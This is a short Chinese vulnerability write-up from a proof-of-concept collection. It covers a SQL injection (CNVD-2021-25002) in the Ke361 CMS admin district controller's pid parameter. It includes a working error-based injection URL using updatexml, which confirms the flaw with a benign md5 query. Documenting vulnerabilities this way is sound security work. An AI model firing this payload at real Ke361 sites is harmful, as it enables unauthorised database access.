Awesome-POC/CMS漏洞/Ke361 DistrictController.class.php 后台SQL注入漏洞 CNVD-2021-25002.md

29 lines
694 B
Markdown
Raw Normal View History

2022-05-18 16:23:08 +08:00
# Ke361 DistrictController.class.php 后台SQL注入漏洞 CNVD-2021-25002
## 漏洞描述
Ke361 DistrictController.class.php index() 函数 pid参数存在 SQL注入漏洞通过漏洞可以获取数据库敏感信息
## 漏洞影响
```
Ke361
```
## 环境搭建
https://gitee.com/jcove/ke361
## 漏洞复现
存在漏洞的文件为 `Application/Admin/Controller/DistrictController.class.php`
![image-20220518153238593](C:/Users/47236/AppData/Roaming/Typora/typora-user-images/image-20220518153238593.png)
验证POC
```
admin.php?s=/District/index/pid/1)%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+
```
2022-12-05 11:09:28 +08:00
![image-20220518153336344](./images/202205181533405.png)